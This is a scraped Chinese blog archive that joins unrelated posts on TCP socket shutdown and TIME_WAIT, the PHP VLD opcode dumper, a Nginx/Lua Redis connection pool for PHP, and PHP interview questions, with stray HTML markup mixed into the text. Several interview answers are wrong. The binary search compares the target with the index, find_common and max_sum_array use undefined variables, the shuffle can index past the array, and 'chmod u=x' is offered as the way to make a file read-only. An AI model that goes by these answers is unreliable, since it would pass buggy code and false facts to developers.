至于是服务器还是客户端是谁先启动的,这个应该比较确定,服务器首先启动,bind处于祯听状态(祯听连接的客户端的个数),accept接受来自客户端的数据请求,然后对数据进行处理,并把数据返回给客户端,倘使是客户端先启动的话,那么它发送的数据也就不能完全的保证服务端是不是打开,影响数据传输的准确性和安全性

UNIX网络编程(基本TCP套接字编程78页)给出了一个解释说的是:当我们关闭客户端后,客户端会发送一个数据(EOF,也就是-1),然后服务端通过read()函数收到这个数据,,知道了客户端已经退出,所以服务端也就推出了程序,并且调用相应的close操作。(个人理解)

我们来验证一下:

从上面可以看出来,完美的把数据发送到了服务端并把数据发送回来啦,

但是:如果我们先结束服务端呢??

从上图还可以看出:如果我们先结束了服务器(ctrl+c),那么客户端是不会立即退出的,可是在发一次数据便会自动退出,这是因为在正常通信中,服务器关闭了连接,那么客户端会正常接收到EOF,,如果对这个连接用epoll或者select进行监听,可以马上得知服务器关闭了连接。否则就定时向服务器发心跳探测,不然是不太可能得知服务器目前的状态的。之所以你现在不会立刻发现问题是因为服务器退出后,客户端需要靠下一次send才会触发问题,因为这时候连接已关闭,而客户端继续写,会产生SIGPIPE异常,而这个异常的默认动作是进程终止,所以你的客户端退出了。

如果:是我们的客户端先结束的呢??

同样的,从上图可以看出,当我们的客户端先结束后(ctrl + c),我们的服务器直接进入死循环,但是是为什么呢??

经过不断的查错:才发现是我们没有对服务端的while里面进行退出程序的处理,里面刚好有一个,printf打印的语句,所以会出现安一直循环的情况,我们把里面的语句改一下:

</b><a class=”ViewSource” title=”view plain” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>view plain</a><span data-mod=”popu_168″><span data-mod=”popu_168″> <a class=”CopyToClipboard” title=”copy” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>copy</a></span></span> <div><embed id=”ZeroClipboardMovie_3″ src=”http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf” type=”application/x-shockwave-flash” width=”18″ height=”18″ align=”middle” name=”ZeroClipboardMovie_3″></embed></div> </div> </div> <ol class=”dp-cpp” start=”1″> <li class=”alt”><span class=”keyword”>while</span>(1){</li> <li class=””>                 memset(recvbuf, 0 , <span class=”keyword”>sizeof</span>(recvbuf));</li> <li class=”alt”><span class=”datatypes”>int</span> ri = read(conn , recvbuf, <span class=”keyword”>sizeof</span>(recvbuf)); <span class=”comment”>//receive a stri</span></li> <li class=””><span class=”comment”>//              int ret = (sizeof(recvbuf));</span></li> <li class=”alt”><span class=”keyword”>if</span> ( ri == -1){</li> <li class=””>                              printf(<span class=”string”>”one client closed\n”</span>);</li> <li class=”alt”><span class=”keyword”>break</span>;</li> <li class=””>                        }</li> <li class=”alt”>                 printf(<span class=”string”>”服务端:%s,”</span>, recvbuf);</li> <li class=””><span class=”datatypes”>int</span> r = write(conn,  recvbuf, ri);</li> <li class=”alt”>                }</li> <li class=””>        }</li> </ol> </div> 嗯嗯,这回应该好啦(因为客户端结束后传回的是EOF,read是服务端接收客户端的消息,所以我们就让read等于-1)但是,但是,但是,不幸的是,这个语句还是没有起作用,就是说,当客户端结束后,服务端还是在死循环里面??这又是为什m,啊啊啊啊啊???(博主快爆炸了都!!!) 后来经过经过仔细的查资料,才发现这个:当客户端结束后,服务端read()函数返回的应该是0,而不是-1,, 所以我的程序有改了一改: <div class=”dp-highlighter bg_cpp”> <div class=”bar”> <div class=”tools”><b>

view plain copy

  1. while(1){
  2.                  memset(recvbuf, 0 , sizeof(recvbuf));
  3. int ri = read(conn , recvbuf, sizeof(recvbuf)); //receive a stri
  4. //              int ret = (sizeof(recvbuf));
  5. if ( ri == 0){
  6. break;
  7.                         }
  8.                  printf(“服务端:%s,”, recvbuf);
  9. int r = write(conn,  recvbuf, ri);
  10.                 }
  11.         }

嗯嗯,这样就好啦,可以对其进行处理了!!!!

当然,对于多个客户端的情况就是这样了:

  1. while(1){
  2. if((conn = (accept(listenfd, (struct sockaddr*)(&peeraddr), &peerlen))) < 0)
  3.                         ERR_EXIT(“accept”);
  4.                 printf(“ip is %s,  port is %d\n”, inet_ntoa(peeraddr.sin_addr), ntohs(peeraddr.sin_port));
  5. //              printf(“ip=%d\n”, ntohs(peeraddr.sin_port));
  6.                 pid = fork();
  7. if(pid == -1)
  8.                         ERR_EXIT(“fork”);
  9. else if(pid == 0){
  10.                         close(listenfd);
  11.                         do_service(conn);
  12.                         exit(1);
  13.                 }
  14. else
  15.                         close(conn);
  16.         }

我们上面程序里的do_service(conn)函数,其实就是之前提到的while,对数据进行具体的收发这里,为了完成多个客户端的访问情况,我们设置了进程(fork)

所以可以完全看到合理的结果,最左边的那个客户端退出了之后,服务端并没有退出,同样的,最右边的客户端还是可以收发数据的!!!

当然,一个客户端一个服务器的情况,同样的,对于多个客户端也是如此的,我们的某一个客户端退出并不会影响服务器的运行结果的,哈哈,对,就是这样!!!,举一个例子:我们好多人在同时访问百度服务器,但是,我们不能让某一个人退出这个页面,而导致其他的人的页面也退出啊!!!

2,  bind:address already in use一直存在,它就关不掉

首先,我们先声明:bind:address already in use的存在是合理的,在服务端终止之后,会有一个TIME_WAIT的状态,再次打开会出现:bind的

但是,服务器端可以尽可能的使用REUSEADDR(在绑定之前尽可能调用setsockopt来设置REUSEADDR)套接字选项,这样就可以使得不必等待TIME_WAIT状态就可以重启服务器了,也就是说:TIME_WAIT状态还是存在的,但是不影响我们重新启动服务器

 

下面讨论的情况还是一样:一个客户端,一个服务器,根据上面说的情况,还是服务端先退出,然后是客户端,但是为什么:bind:address  already  in  use 还是一直存在(即使我们等了好长时间),其实这个很简单,那只是因为我们在退出服务端或者客户端的时候,我们是用了 CTRL + Z,这个退出条件,跟CTRL+C搞混了!!!

CTRL+C:发送SIGINT信号给前台进程组中的所有进程。常用于终止正在运行的程序,强制中断程序的执行

CTRL+Z:发送SIGTSTP信号给前台进程组中的所有进程,常用于挂起一个进程,是将任务中断,但是此任务并没有结束,它仍然在进程中他只是维持挂起的状态,用户可以使用fg/bg操作继续前台或后台的任务,fg命令重新启动前台被中断的任务,bg命令把被中断的任务放在后台执行

通过我们上面所说的:可以使用这个命令查看状态

2,当我们用:CTRL+C结束时:

可以看到右下角:出现了TIME_WAIT

当我们想重新运行这两个程序时:就会出现(bind:address already in use)的情况(我们在两分钟以内运行)

但是,当我们等上个2-4分钟后,然后在运行,就又没有这种情况了,很好解释,那只是因为在一定的时间内这个端口还被占用着,没有来的及释放,但是2-4分钟后,端口释放完毕,所以可以正常的运行这个程序了

当我们用:CTRL+Z结束时:

 

同样的:我们可以看到右下角:出现的是ESTABLISHED,但是不一样的是,无论我们等多久,只要我们一运行这个服务端程序,必定会出现bind:address already in use,并且这个不会自动消失,除非我们杀死这个进程,或者我们进到程序里面改一下端口号

ESTABLISHED的意思是建立连接。表示两台机器正在通信

TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT。TCP协议规定TIME_WAIT状态会一直持续2MSL(即两倍的分 段最大生存期),以此来确保旧的连接状态不会对新连接产生影响。处于TIME_WAIT状态的连接占用的资源不会被内核释放,所以作为服务器,在可能的情 况下,尽量不要主动断开连接,以减少TIME_WAIT状态造成的资源浪费。目前有一种避免TIME_WAIT资源浪费的方法,就是关闭socket的LINGER选项。但这种做法是TCP协议不推荐使用的,在某些情况下这个操作可能会带来错误。

3,当我们用:setsockopt和SO_REUSEADDR时:充分的减少了等待时间,在一次的通讯完毕,可以直接再次的运行这个程序,这样就不会出现上面如:bind:address already in use

程序如下(在bind之前调用,提高端口的重用行):

运行结果:

可以看到我们可以直接运行,无压力,但是当我们用:netstat -an|grep TIME_WAIT时,还是显示TIME_WAIT,但这个并不影响我们的结果

2

VLD扩展使用指南

原文链接:http://www.phppan.com/2011/05/vld-extension/

VLD(Vulcan Logic Dumper)是一个在Zend引擎中,以挂钩的方式实现的用于输出PHP脚本生成的中间代码(执行单元)的扩展。 它可以在一定程序上查看Zend引擎内部的一些实现原理,是我们学习PHP源码的必备良器。它的作者是Derick Rethans, 除了VLD扩展,我们常用的XDebug扩展的也有该牛人的身影。

VLD扩展是一个开源的项目,在这里可以下载到最新的版本,虽然最新版本的更新也是一年前的事了。 作者没有提供编译好的扩展,Win下使用VC6.0编译生成dll文件,可以看我之前写过的一篇文章(使用VC6.0生成VLD扩展)。 *nix系统下直接configue,make,make install生成。如果遇到问题,请自行Google之。

看一个简单的例子,假如存在t.php文件,其内容如下:

$a = 10;
echo $a;

在命令行下使用VLD扩展显示信息。

php -dvld.active=1 t.php

-dvld.active=1表示激活VLD扩展,使用VLD扩展输出中间代码,此命令在CMD中输出信息为:

Branch analysis from position: 0
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   EXT_STMT
         1      ASSIGN                                                   !0, 10
   3     2      EXT_STMT
         3      ECHO                                                     !0
   4     4    > RETURN                                                   1

branch: #  0; line:     2-    4; sop:     0; eop:     4
path #1: 0,
10

如上为VLD输出的PHP代码生成的中间代码的信息,说明如下:

  • Branch analysis from position 这条信息多在分析数组时使用。
  • Return found 是否返回,这个基本上有都有。
  • filename 分析的文件名
  • function name 函数名,针对每个函数VLD都会生成一段如上的独立的信息,这里显示当前函数的名称
  • number of ops 生成的操作数
  • compiled vars 编译期间的变量,这些变量是在PHP5后添加的,它是一个缓存优化。这样的变量在PHP源码中以IS_CV标记。
  • op list 生成的中间代码的变量列表

使用-dvld.active参数输出的是VLD默认设置,如果想看更加详细的内容。可以使用-dvld.verbosity参数。

php -dvld.active=1 -dvld.verbosity=3 t.php

-dvld.verbosity=3或更大的值的效果都是一样的,它们是VLD在当前版本可以显示的最详细的信息了,包括各个中间代码的操作数等。显示结果如下:

Finding entry points
Branch analysis from position: 0
Add 0
Add 1
Add 2
Add 3
Add 4
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
--------------------------------------------------------------------------------
-
   2     0  >   EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         1      ASSIGN                                                    OP1[IS_CV !0 ] OP2[ ,  IS_CONST (0) 10 ]
   3     2      EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         3      ECHO                                                      OP1[IS_CV !0 ]
         4    > RETURN                                                    OP1[IS_CONST (0) 1 ]

branch: #  0; line:     2-    3; sop:     0; eop:     4
path #1: 0,
10

以上的信息与没有加-dvld.verbosity=3的输出相比,多了Add 字段,还有中间代码的操作数的类型,如IS_CV,IS_CONST等。 PHP代码中的$a = 10; 其中10的类型为IS_CONST, $a作为一个编译期间的一个缓存变量存在,其类型为IS_CV。

如果我们只是想要看输出的中间代码,并不想执行这段PHP代码,可以使用-dvld.execute=0来禁用代码的执行。

php -dvld.active=1 -dvld.execute=0 t.php

运行这个命令,你会发现这与最开始的输出有一点点不同,它没有输出10。 除了直接在屏幕上输出以外,VLD扩展还支持输出.dot文件,如下的命令:

php -dvld.active=1 -dvld.save_dir='D:\tmp' -dvld.save_paths=1 -dvld.dump_paths=1 t.php

以上的命令的意思是将生成的中间代码的一些信息输出在D:/tmp/paths.dot文件中。 -dvld.save_dir指定文件输出的路径,-dvld.save_paths控制是否输出文件,-dvld.dump_paths控制输出的内容,现在只有0和1两种情况。 输出的文件名已经在程序中硬编码为paths.dot。这三个参数是相互依赖的关系,一般都会同时出现。

总结一下,VLD扩展的参数列表:

  • -dvld.active 是否在执行PHP时激活VLD挂钩,默认为0,表示禁用。可以使用-dvld.active=1启用。
  • -dvld.skip_prepend 是否跳过php.ini配置文件中auto_prepend_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.skip_append 是否跳过php.ini配置文件中auto_append_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.execute 是否执行这段PHP脚本,默认值为1,表示执行。可以使用-dvld.execute=0,表示只显示中间代码,不执行生成的中间代码。
  • -dvld.format 是否以自定义的格式显示,默认为0,表示否。可以使用-dvld.format=1,表示以自己定义的格式显示。这里自定义的格式输出是以-dvld.col_sep指定的参数间隔
  • -dvld.col_sep 在-dvld.format参数启用时此函数才会有效,默认为 “\t”。
  • -dvld.verbosity 是否显示更详细的信息,默认为1,其值可以为0,1,2,3 其实比0小的也可以,只是效果和0一样,比如0.1之类,但是负数除外,负数和效果和3的效果一样 比3大的值也是可以的,只是效果和3一样。
  • -dvld.save_dir 指定文件输出的路径,默认路径为/tmp。
  • -dvld.save_paths 控制是否输出文件,默认为0,表示不输出文件
  • -dvld.dump_paths 控制输出的内容,现在只有0和1两种情况,默认为1,输出内容

[转]史上最LOW的PHP连接池解决方案

原文链接:https://huoding.com/2017/09/10/635?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
大多数 PHP 程序员从来没有使用过连接池,主要原因是按照 PHP 本身的运行机制并不容易实现连接池,于是乎 PHP 程序员一方面不得不承受其它程序员的冷嘲热讽,另一方面还得面对频繁短链接导致的性能低下和 TIME_WAIT 等问题。

说到这,我猜一定会有 PHP 程序员跳出来说可以使用长连接啊,效果是一样一样的。比如以 PHP 中最流行的 Redis 模块 PhpRedis 为例,便有 pconnect 方法可用,通过它可以复用之前创建的连接,效果和使用连接池差不多。可惜实际情况是 PHP 中各个模块的长连接方法并不好用,基本上是鸡肋一样的存在,原因如下:

首先,按照 PHP 的运行机制,长连接在建立之后只能寄居在工作进程之上,也就是说有多少个工作进程,就有多少个长连接,打个比方,我们有 10 台 PHP 服务器,每台启动 1000 个 PHP-FPM 工作进程,它们连接同一个 Redis 实例,那么此 Redis 实例上最多将存在 10000 个长连接,数量完全失控了!
其次,PHP 的长连接本身并不健壮。一旦网络异常导致长连接失效,没有办法自动关闭重新连接,以至于后续请求全部失败,此时除了重启服务别无它法!
问题分析到这里似乎进入了死胡同:按常规做法是没法实现 PHP 连接池了。

别急着,如果问题比较棘手,我们不妨绕着走。让我们把目光聚焦到 Nginx 的身上,其 stream 模块实现了 TCP/UDP 服务的负载均衡,同时借助 stream-lua 模块,我们就可以实现可编程的 stream 服务,也就是用 Nginx 实现自定义的 TCP/UDP 服务!当然你可以自己从头写 TCP/UDP 服务,不过站在 Nginx 肩膀上无疑是更省时省力的选择。

不过 Nginx 和 PHP 连接池有什么关系?且听我慢慢道来:通常大部分 PHP 是搭配 Nginx 来使用的,而且 PHP 和 Nginx 多半是在同一台服务器上。有了这个客观条件,我们就可以利用 Nginx 来实现一个连接池,在 Nginx 上完成连接 Redis 等服务的工作,然后 PHP 通过本地的 Unix Domain Socket 来连接 Nginx,如此一来既规避了短链接的种种弊端,也享受到了连接池带来的种种好处。

PHP Pool
PHP Pool

下面以 Redis 为例来讲解一下实现过程,事先最好对 Redis 交互协议有一定的了解,推荐阅读官方文档或中文翻译,具体实现可以参考 lua-resty-redis 库,虽然它只是一个客户端库,但是 Redis 客户端请求和服务端响应实际上格式是差不多通用的。

首先在 nginx.conf 文件中加入如下配置:

stream {
lua_code_cache on;
lua_socket_log_errors on;
lua_check_client_abort on;
lua_package_path “/path/to/?.lua;;”;

server {
listen unix:/tmp/redis.sock;

content_by_lua_block {
local redis = require “redis”
pool = redis:new({ ip = “…”, port = “…” })
pool:run()
}
}
}
然后在 lua_package_path 配置的路径上创建 redis.lua 文件:

local redis = require “resty.redis”

local assert = assert
local print = print
local rawget = rawget
local setmetatable = setmetatable
local tonumber = tonumber
local byte = string.byte
local sub = string.sub

local function parse(sock)
local line, err = sock:receive()

if not line then
if err == “timeout” then
sock:close()
end

return nil, err
end

local result = line .. “\r\n”
local prefix = byte(line)

if prefix == 42 then — char ‘*’
local num = tonumber(sub(line, 2))

if num <= 0 then return result end for i = 1, num do local res, err = parse(sock) if res == nil then return nil, err end result = result .. res end elseif prefix == 36 then -- char '$' local size = tonumber(sub(line, 2)) if size <= 0 then return result end local res, err = sock:receive(size) if not res then return nil, err end local crlf, err = sock:receive(2) if not crlf then return nil, err end result = result .. res .. crlf end return result end local function exit(err) ngx.log(ngx.NOTICE, err) return ngx.exit(ngx.ERROR) end local _M = {} _M._VERSION = "1.0" function _M.new(self, config) local t = { _ip = config.ip or "127.0.0.1", _port = config.port or 6379, _timeout = config.timeout or 100, _size = config.size or 10, _auth = config.auth, } return setmetatable(t, { __index = _M }) end function _M.run(self) local ip = self._ip local port = self._port local timeout = self._timeout local size = self._size local auth = self._auth local downstream_sock = assert(ngx.req.socket(true)) while true do local res, err = parse(downstream_sock) if not res then return exit(err) end local red = redis:new() local ok, err = red:connect(ip, port) if not ok then return exit(err) end if auth then local times = assert(red:get_reused_times()) if times == 0 then local ok, err = red:auth(auth) if not ok then return exit(err) end end end local upstream_sock = rawget(red, "_sock") upstream_sock:send(res) local res, err = parse(upstream_sock) if not res then return exit(err) end red:set_keepalive(timeout, size) downstream_sock:send(res) end end return _M 见证奇迹的时候到了,测试的 PHP 脚本内容如下: connect(‘/tmp/redis.sock’);
// $redis->connect(‘ip’, ‘port’);

$redis->set(“foo”, bar);
$foo = $redis->get(“foo”);
var_dump($foo);
}

?>
可惜测试的时候,不管是通过 /tmp/redis.sock 连接,还是通过 ip 和 port 连接,结果效率都差不多,完全不符合我们开始的分析,挂上 strace 看看发生了什么:

shell> strace -f …
[pid …] recvfrom(…, “QUIT\r\n”, 4096, 0, NULL, NULL) = 6
[pid …] sendto(…, “QUIT\r\n”, 6, 0, NULL, 0) = 6
原来是因为 PhpRedis 发送了 QUIT,结果我们连接池里的连接都被关闭了。不过这个问题好解决,不要使用 connect,换成 pconnect 即可:

pconnect(‘/tmp/redis.sock’);
?>
再次测试,结果发现在本例中,使用连接池前后,效率提升了 50% 左右。注意,此结论仅仅保证在我的测试里有效,如果你测试的话,视情况可能有差异。

说到这里,没搞清楚原委的读者可能会质疑:你不是说 PHP 里的长连接是鸡肋么,怎么自己在测试里又用了长连接!本文使用 pconnect,只是为了屏蔽 QUIT 请求,而且仅仅在本地使用,没有数量和网络异常的隐忧,此时完全没有问题,并且实际上我们也可以在 redis.lua 里过滤 QUIT 请求,篇幅所限,我就不做这个实现了。

鲁迅说:真的猛士,敢于直面惨淡的人生,敢于正视淋漓的鲜血。从这个角度看,本文的做法实在是 LOW,不过换个角度看,二战中德军对付马其诺防线也干过类似的勾当,所以管它 LOW 不 LOW,能解决问题的方法就是好方法。

[转]三年PHP面试题

原文链接:https://juejin.im/entry/59b533746fb9a00a5e35ac17

算法

1.反转函数的实现

/**
* 反转数组
* @param array $arr
* @return array
*/
function reverse($arr)
{
$n = count($arr);

$left = 0;
$right = $n – 1;

while ($left < $right) {
$temp = $arr[$left];
$arr[$left++] = $arr[$right];
$arr[$right–] = $temp;
}

return $arr;
}
2.两个有序int集合是否有相同元素的最优算法

/**
* 寻找两个数组里相同的元素
* @param array $arr1
* @param array $arr2
* @return array
*/
function find_common($arr1, $arr2)
{
$common = array();
$i = $j = 0;
$count1 = count($arr1);
$count2 = count($arr2);
while ($i < $count1 && $j < $count2) {
if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) {
$j++;
} else {
$common[] = $arr[$i];
$i++;
$j++;
}
}
return array_unique($common);
}
3.将一个数组中的元素随机(打乱)

/**
* 打乱数组
* @param array $arr
* @return array
*/
function custom_shuffle($arr)
{
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
$rand_pos = mt_rand(0, $n);
if ($rand_pos != $i) {
$temp = $arr[$i];
$arr[$i] = $arr[$rand_pos];
$arr[$rand_pos] = $temp;
}
}
return $arr;
}
4.给一个有数字和字母的字符串,让连着的数字和字母对应

function number_alphabet($str)
{
$number = preg_split(‘/[a-z]+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$alphabet = preg_split(‘/\d+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$n = count($number);
for ($i = 0; $i < $count; $i++) {
echo $number[$i] . ‘:’ . $alphabet[$i] . ”;
}
}
$str = ‘1a3bb44a2ac’;
number_alphabet($str);//1:a 3:bb 44:a 2:ac
5.求n以内的质数(质数的定义:在大于1的自然数中,除了1和它本身意外,无法被其他自然数整除的数)

思路:

(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数
除了2的偶数都不是质数 代码如下:

/**
* 求n内的质数
* @param int $n
* @return array
*/
function get_prime($n)
{
$prime = array(2);//2为质数

for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大
$sqrt = intval(sqrt($i));//求根号n

for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) {
array_push($prime, $i);
}
}

return $prime;
}
print_r(getPrime(1000));

### 6.约瑟夫环问题
相关题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫做大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
“`php
/**
* 获取大王
* @param int $n
* @param int $m
* @return int
*/
function get_king_mokey($n, $m)
{
$arr = range(1, $n);

$i = 0;

while (count($arr) > 1) {
$i++;
$survice = array_shift($arr);

if ($i % $m != 0) {
array_push($arr, $survice);
}
}

return $arr[0];
}
7.如何快速寻找一个数组里最小的1000个数

思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数大的话跳过,如果要比这第1001个数小则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码如下:

//寻找最小的k个数
//题目描述
//输入n个整数,输出其中最小的k个。
/**
* 获取最小的k个数
* @param array $arr
* @param int $k [description]
* @return array
*/
function get_min_array($arr, $k)
{
$n = count($arr);

$min_array = array();

for ($i = 0; $i < $n; $i++) {
if ($i < $k) {
$min_array[$i] = $arr[$i];
} else {
if ($i == $k) {
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}

if ($arr[$i] < $max) {
$min_array[$max_pos] = $arr[$i];

$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
}
}

return $min_array;
}

/**
* 获取最大的位置
* @param array $arr
* @return array
*/
function get_max_pos($arr)
{
$pos = 0;
for ($i = 1; $i < count($arr); $i++) {
if ($arr[$i] < $arr[$pos]) {
$pos = $i;
}
}

return $pos;
}

$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);
8.如何在有序的数组中找到一个数的位置(二分查找)

代码如下:

/**
* 二分查找
* @param array $array 数组
* @param int $n 数组数量
* @param int $value 要寻找的值
* @return int
*/
function binary_search($array, $n, $value)
{
$left = 0;
$right = $n – 1;

while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $mid) {
$right = $mid + 1;
} elseif ($value < $mid) { $left = $mid – 1; } else { return $mid; } } return -1; } 9.给定一个有序整数序列,找出绝对值最小的元素 思路:二分查找 /** * 获取绝对值最小的元素 * @param array $arr * @return int */ function get_min_abs_value($arr) { //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n – 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n – 1];
}

//二分查找
$n = count($arr);
$left = 0;
$right = $n – 1;

while ($left <= $right) {
if ($left + 1 === $right) {
return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
}

$mid = intval(($left + $right) / 2);

if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid – 1; } } } /** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */ function is_same_sign($a, $b) { if ($a * $b > 0) {
return true;
} else {
return false;
}
}
10.找出有序数组中随机3个数和为0的所有情况

思路:动态规划

function three_sum($arr)
{
$n = count($arr);

$return = array();

for ($i=0; $i < $n; $i++) {
$left = $i + 1;
$right = $n – 1;

while ($left <= $right) {
$sum = $arr[$i] + $arr[$left] + $arr[$right];

if ($sum < 0) { $left++; } elseif ($sum > 0) {
$right–;
} else {
$numbers = $arr[$i] . ‘,’ . $arr[$left] . ‘,’ . $arr[$right];
if (!in_array($numbers, $return)) {
$return[] = $numbers;
}

$left++;
$right–;
}
}
}

return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));
11.编写一个PHP函数,求任意n个正负整数里面最大的连续和,要求算法时间复杂度尽可能低。

思路:动态规划

/**
* 获取最大的连续和
* @param array $arr
* @return int
*/
function max_sum_array($arr)
{
$currSum = 0;
$maxSum = 0;//数组元素全为负的情况,返回最大数

$n = count($arr);

for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) {
$currSum += $arr[$j];
} else {
$currSum = $arr[$j];
}
}

if ($currSum > $maxSum) {
$maxSum = $currSum;
}

return $maxSum;
}
计算机网络

1.HTTP中GET与POST的区别,注意最后一条

GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST么有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
2.为什么Tcp连接是三次,挥手是四次

在Tcp连接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。

3.Cookie存在哪

如果设置了过期时间,Cookie存在硬盘里
没有设置过期时间,Cookie存在内存里
4.COOKIE和SESSION的区别和关系

COOKIE保存在客户端,而SESSION则保存在服务器端
从安全性来讲,SESSION的安全性更高
从保存内容的类型的角度来讲,COOKIE只保存字符串(及能够自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限制
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也可以通过url传递
Linux

1.如何修改文件为当前用户只读

chmod u=x 文件名

2.Linux进程属性

进程:是用pid表示,它的数值是唯一的
父进程:用ppid表示
启动进程的用户:用UID表示
启动进程的用户所属的组:用GID表示
进程的状态:运行R,就绪W,休眠S,僵尸Z
3.统计某一天网站的访问量

awk ‘{print $1}’ /var/log/access.log | sort | uniq | wc -l
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁

Nginx

1.fastcgi通过端口监听和通过文件监听的区别

监听方式 形式 nginx链接fastcgi方式
端口监听 fastcgi_pass 127.0.0.1:9000 TCP链接
文件监听 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket
2.nginx的负载均衡实现方式

轮询
用户IP哈希
指定权重
fair(第三方)
url_hash(第三方)
Memcache/Redis

1.Redis主从是怎样同步数据的?(即复制功能)

无论是初次连接还是重新连接,当建立一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保存操作执行期间,将所有新执行的命令都保存到一个缓冲区里面,当BGSAVE执行完毕后,主服务器将执行保存操作所得到的.rdb文件发送给从服务器,从服务器接收这个.rdb文件,并将文件中的数据载入到内存中。之后主服务器会以Redis命令协议的格式,将写命令缓冲区中积累的所有内容都发送给从服务器。

2.Memcache缓存命中率

缓存命中率 = get_hits/cmd_get * 100%

3.Memcache集群实现

一致性Hash

4.Memcache与Redis的区别

Memcache
该产品本身特别是数据在内存里边的存储,如果服务器突然断电,则全部数据就会丢失
单个key(变量)存放的数据有1M的限制
存储数据的类型都是String字符串类型
本身没有持久化功能
可以使用多核(多线程)
Redis
数据类型比较丰富:String、List、Set、Sortedset、Hash
有持久化功能,可以把数据随时存储在磁盘上
本身有一定的计算功能
单个key(变量)存放的数据有1GB的限制
MySQL

1.执行SQL语句:select count(*) from articles 时,MySIAM和InnoDB哪个快

MySIAM快,因为MySIAM本身就记录了数量,而InnoDB要扫描数据

3.隐式转换

当查询字段是INT类型,如果查询条件为CHAR,将查询条件转换为INT,如果是字符串前导都是数字将会进行截取,如果不是转换为0。
当查询字段是CHAR/VARCHAR类型,如果查询条件为INT,将查询字段为换为INT再进行比较,可能会造成全表扫描
2.最左前缀原则

有一个复合索引:INDEX(`a`, `b`, `c`)

使用方式 能否用上索引
select * from users where a = 1 and b = 2 能用上a、b
select * from users where b = 2 and a = 1 能用上a、b(有MySQL查询优化器)
select * from users where a = 2 and c = 1 能用上a
select * from users where b = 2 and c = 1 不能
3.聚簇索引和非聚簇索引的区别

聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点仍然是索引检点,并保留一个链接指向对应数据块。

PHP

1.Session可不可以设置失效时间,比如30分钟过期

设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
自己为每一个Session值增加timestamp
每次访问之前, 判断时间戳
2.PHP进程间通信的几种方式

消息队列
信号量+共享内存
信号
管道
socket
3.php类的静态调用和实例化调用各自的利弊

